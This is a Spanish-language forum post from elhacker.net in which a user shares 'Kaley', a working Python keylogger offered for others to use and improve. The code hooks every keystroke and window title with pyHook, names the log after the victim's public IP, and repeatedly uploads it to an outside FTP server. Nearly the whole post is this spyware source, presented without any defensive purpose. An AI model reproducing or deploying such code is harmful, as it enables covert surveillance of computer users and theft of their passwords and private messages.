Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Fyrox en 21 Septiembre 2011, 23:24 pm



Título: [Python] Kaley, Keylogger simple en Python
Publicado por: Fyrox en 21 Septiembre 2011, 23:24 pm
Saludos, después de un tiempecillo programando en Python, al fin me he decidido a crear un Keylogger. Como no llevo mucho tiempo programando, lo subo aquí para que aportéis ideas/mejores formas de codear determinadas cosas en Python, además de para que lo uséis si queréis.
Código
  1. # coding= utf-8
  2. import pythoncom, pyHook, ftplib, urllib, datetime, time, thread, os
  3.  
  4. class Kaley:
  5.    def __init__(self):
  6.        self.current_window = None
  7.        self.namefile = str(self.getIP()) + " - " + str(self.getDate()) + ".txt"
  8.        self.f = ftplib.FTP("server")
  9.        self.f.login("user", "pass")
  10.        self.f.cwd("/html/kaley")
  11.        self.run = False
  12.  
  13.    def getIP(self):
  14.        url = urllib.URLopener()
  15.        resp = url.open("http://automation.whatismyip.com/n09230945.asp")
  16.        html = resp.read(114)
  17.        return html
  18.  
  19.    def getDate(self):
  20.        now = datetime.datetime.now()
  21.        return now.strftime("%Y-%m-%d")
  22.  
  23.    def write(self, text):
  24.        file = open(self.namefile, "a")
  25.        file.write(text)
  26.        file.close()
  27.        if self.run == False:
  28.            thread.start_new_thread(self.upload, ())
  29.  
  30.    def upload(self):
  31.        self.run = True
  32.        time.sleep(5)
  33.        self.f.storbinary("STOR " + self.namefile, open(self.namefile, "rb"))
  34.        self.run = False
  35.  
  36.    def stroke(self, event):
  37.        if event.WindowName != self.current_window:
  38.            self.write("\n" + event.WindowName + "\n")
  39.            self.current_window = event.WindowName
  40.        if event.Ascii == 32 or event.Ascii == 9:
  41.             self.write(" ")
  42.        elif event.Ascii == 241 or event.Ascii == 209:
  43.            self.write("Ñ")
  44.        elif event.Ascii == 13:
  45.            self.write("\n")
  46.        else:
  47.            self.write(event.Key)
  48.  
  49. log = Kaley()
  50. ph = pyHook.HookManager()
  51. ph.KeyDown = log.stroke
  52. ph.HookKeyboard()
  53. pythoncom.PumpMessages()

Como podéis ver, os hacen falta las librerias pyHook para ejecutarlos.

Fyrox